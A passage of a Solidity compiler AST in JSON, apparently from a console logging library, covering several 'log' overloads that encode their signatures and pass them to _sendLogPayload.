\"log(address,address,string,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":31620,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"67671:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31621,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"67675:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"67671:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31627,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"67671:77:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31619,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"67655:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31628,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"67655:94:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31629,"nodeType":"ExpressionStatement","src":"67655:94:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"67567:3:15","parameters":{"id":31617,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31610,"mutability":"mutable","name":"p0","nameLocation":"67579:2:15","nodeType":"VariableDeclaration","scope":31631,"src":"67571:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31609,"name":"address","nodeType":"ElementaryTypeName","src":"67571:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31612,"mutability":"mutable","name":"p1","nameLocation":"67591:2:15","nodeType":"VariableDeclaration","scope":31631,"src":"67583:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31611,"name":"address","nodeType":"ElementaryTypeName","src":"67583:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31614,"mutability":"mutable","name":"p2","nameLocation":"67609:2:15","nodeType":"VariableDeclaration","scope":31631,"src":"67595:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31613,"name":"string","nodeType":"ElementaryTypeName","src":"67595:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":31616,"mutability":"mutable","name":"p3","nameLocation":"67627:2:15","nodeType":"VariableDeclaration","scope":31631,"src":"67613:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31615,"name":"string","nodeType":"ElementaryTypeName","src":"67613:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"67570:60:15"},"returnParameters":{"id":31618,"nodeType":"ParameterList","parameters":[],"src":"67645:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31654,"nodeType":"FunctionDefinition","src":"67762:187:15","nodes":[],"body":{"id":31653,"nodeType":"Block","src":"67840:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c737472696e672c626f6f6c29","id":31645,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"67890:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_6f1a594e70810560eaae5bbc82bc991f1120ac326ec142f6fb212682169447fd","typeString":"literal_string \"log(address,address,string,bool)\""},"value":"log(address,address,string,bool)"},{"id":31646,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31633,"src":"67926:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31647,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31635,"src":"67930:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31648,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31637,"src":"67934:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":31649,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31639,"src":"67938:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_6f1a594e70810560eaae5bbc82bc991f1120ac326ec142f6fb212682169447fd","typeString":"literal_string \"log(address,address,string,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":31643,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"67866:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31644,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"67870:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"67866:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31650,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"67866:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31642,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"67850:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31651,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"67850:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31652,"nodeType":"ExpressionStatement","src":"67850:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"67771:3:15","parameters":{"id":31640,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31633,"mutability":"mutable","name":"p0","nameLocation":"67783:2:15","nodeType":"VariableDeclaration","scope":31654,"src":"67775:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31632,"name":"address","nodeType":"ElementaryTypeName","src":"67775:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31635,"mutability":"mutable","name":"p1","nameLocation":"67795:2:15","nodeType":"VariableDeclaration","scope":31654,"src":"67787:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31634,"name":"address","nodeType":"ElementaryTypeName","src":"67787:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31637,"mutability":"mutable","name":"p2","nameLocation":"67813:2:15","nodeType":"VariableDeclaration","scope":31654,"src":"67799:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31636,"name":"string","nodeType":"ElementaryTypeName","src":"67799:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":31639,"mutability":"mutable","name":"p3","nameLocation":"67822:2:15","nodeType":"VariableDeclaration","scope":31654,"src":"67817:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31638,"name":"bool","nodeType":"ElementaryTypeName","src":"67817:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"67774:51:15"},"returnParameters":{"id":31641,"nodeType":"ParameterList","parameters":[],"src":"67840:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31677,"nodeType":"FunctionDefinition","src":"67955:193:15","nodes":[],"body":{"id":31676,"nodeType":"Block","src":"68036:112:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c737472696e672c6164647265737329","id":31668,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"68086:37:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_8f736d1685010d3a1ac02ed96109cdd5141fd92077c14203bc63442ad9b6a687","typeString":"literal_string \"log(address,address,string,address)\""},"value":"log(address,address,string,address)"},{"id":31669,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31656,"src":"68125:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31670,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31658,"src":"68129:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31671,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31660,"src":"68133:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":31672,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31662,"src":"68137:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8f736d1685010d3a1ac02ed96109cdd5141fd92077c14203bc63442ad9b6a687","typeString":"literal_string \"log(address,address,string,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":31666,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"68062:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31667,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"68066:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"68062:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31673,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"68062:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31665,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"68046:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31674,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"68046:95:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31675,"nodeType":"ExpressionStatement","src":"68046:95:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"67964:3:15","parameters":{"id":31663,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31656,"mutability":"mutable","name":"p0","nameLocation":"67976:2:15","nodeType":"VariableDeclaration","scope":31677,"src":"67968:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31655,"name":"address","nodeType":"ElementaryTypeName","src":"67968:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31658,"mutability":"mutable","name":"p1","nameLocation":"67988:2:15","nodeType":"VariableDeclaration","scope":31677,"src":"67980:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31657,"name":"address","nodeType":"ElementaryTypeName","src":"67980:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31660,"mutability":"mutable","name":"p2","nameLocation":"68006:2:15","nodeType":"VariableDeclaration","scope":31677,"src":"67992:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31659,"name":"string","nodeType":"ElementaryTypeName","src":"67992:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":31662,"mutability":"mutable","name":"p3","nameLocation":"68018:2:15","nodeType":"VariableDeclaration","scope":31677,"src":"68010:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31661,"name":"address","nodeType":"ElementaryTypeName","src":"68010:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"67967:54:15"},"returnParameters":{"id":31664,"nodeType":"ParameterList","parameters":[],"src":"68036:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31700,"nodeType":"FunctionDefinition","src":"68154:182:15","nodes":[],"body":{"id":31699,"nodeType":"Block","src":"68226:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c626f6f6c2c75696e7432353629","id":31691,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"68276:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_3971e78c267e3c99a8d143ab93f96daa498ed164b55c7e4c2a5439320fbc2671","typeString":"literal_string \"log(address,address,bool,uint256)\""},"value":"log(address,address,bool,uint256)"},{"id":31692,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31679,"src":"68313:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31693,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31681,"src":"68317:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31694,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31683,"src":"68321:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31695,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31685,"src":"68325:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3971e78c267e3c99a8d143ab93f96daa498ed164b55c7e4c2a5439320fbc2671","typeString":"literal_string \"log(address,address,bool,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":31689,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"68252:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31690,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"68256:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"68252:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31696,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"68252:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31688,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"68236:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31697,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"68236:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31698,"nodeType":"ExpressionStatement","src":"68236:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"68163:3:15","parameters":{"id":31686,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31679,"mutability":"mutable","name":"p0","nameLocation":"68175:2:15","nodeType":"VariableDeclaration","scope":31700,"src":"68167:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31678,"name":"address","nodeType":"ElementaryTypeName","src":"68167:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31681,"mutability":"mutable","name":"p1","nameLocation":"68187:2:15","nodeType":"VariableDeclaration","scope":31700,"src":"68179:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31680,"name":"address","nodeType":"ElementaryTypeName","src":"68179:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31683,"mutability":"mutable","name":"p2","nameLocation":"68196:2:15","nodeType":"VariableDeclaration","scope":31700,"src":"68191:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31682,"name":"bool","nodeType":"ElementaryTypeName","src":"68191:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31685,"mutability":"mutable","name":"p3","nameLocation":"68208:2:15","nodeType":"VariableDeclaration","scope":31700,"src":"68200:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31684,"name":"uint256","nodeType":"ElementaryTypeName","src":"68200:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"68166:45:15"},"returnParameters":{"id":31687,"nodeType":"ParameterList","parameters":[],"src":"68226:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31723,"nodeType":"FunctionDefinition","src":"68342:187:15","nodes":[],"body":{"id":31722,"nodeType":"Block","src":"68420:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c626f6f6c2c737472696e6729","id":31714,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"68470:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_aa6540c8e9a40f69e022e01a14ab22c94aae4999f1d7a246236f464d7c933b88","typeString":"literal_string \"log(address,address,bool,string)\""},"value":"log(address,address,bool,string)"},{"id":31715,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31702,"src":"68506:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31716,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31704,"src":"68510:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31717,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31706,"src":"68514:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31718,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31708,"src":"68518:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_aa6540c8e9a40f69e022e01a14ab22c94aae4999f1d7a246236f464d7c933b88","typeString":"literal_string \"log(address,address,bool,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":31712,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"68446:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31713,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"68450:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"68446:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31719,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"68446:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31711,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"68430:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31720,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"68430:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31721,"nodeType":"ExpressionStatement","src":"68430:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"68351:3:15","parameters":{"id":31709,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31702,"mutability":"mutable","name":"p0","nameLocation":"68363:2:15","nodeType":"VariableDeclaration","scope":31723,"src":"68355:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31701,"name":"address","nodeType":"ElementaryTypeName","src":"68355:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31704,"mutability":"mutable","name":"p1","nameLocation":"68375:2:15","nodeType":"VariableDeclaration","scope":31723,"src":"68367:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31703,"name":"address","nodeType":"ElementaryTypeName","src":"68367:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31706,"mutability":"mutable","name":"p2","nameLocation":"68384:2:15","nodeType":"VariableDeclaration","scope":31723,"src":"68379:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31705,"name":"bool","nodeType":"ElementaryTypeName","src":"68379:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":31708,"mutability":"mutable","name":"p3","nameLocation":"68402:2:15","nodeType":"VariableDeclaration","scope":31723,"src":"68388:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":31707,"name":"string","nodeType":"ElementaryTypeName","src":"68388:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"68354:51:15"},"returnParameters":{"id":31710,"nodeType":"ParameterList","parameters":[],"src":"68420:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":31746,"nodeType":"FunctionDefinition","src":"68535:176:15","nodes":[],"body":{"id":31745,"nodeType":"Block","src":"68604:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c626f6f6c2c626f6f6c29","id":31737,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"68654:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_2cd4134aedbc2cd722f2b9715dc3acb74b16b253590361dd98a4d6cb66119b65","typeString":"literal_string \"log(address,address,bool,bool)\""},"value":"log(address,address,bool,bool)"},{"id":31738,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31725,"src":"68688:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31739,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31727,"src":"68692:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":31740,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31729,"src":"68696:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":31741,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":31731,"src":"68700:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_2cd4134aedbc2cd722f2b9715dc3acb74b16b253590361dd98a4d6cb66119b65","typeString":"literal_string \"log(address,address,bool,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":31735,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"68630:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":31736,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"68634:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"68630:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":31742,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"68630:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":31734,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"68614:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":31743,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"68614:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":31744,"nodeType":"ExpressionStatement","src":"68614:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"68544:3:15","parameters":{"id":31732,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31725,"mutability":"mutable","name":"p0","nameLocation":"68556:2:15","nodeType":"VariableDeclaration","scope":31746,"src":"68548:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31724,"name":"address","nodeType":"ElementaryTypeName","src":"68548:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31727,"mutability":"mutable","name":"p1","nameLocation":"68568:2:15","nodeType":"VariableDeclaration","scope":31746,"src":"68560:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31726,"name":"address","nodeTy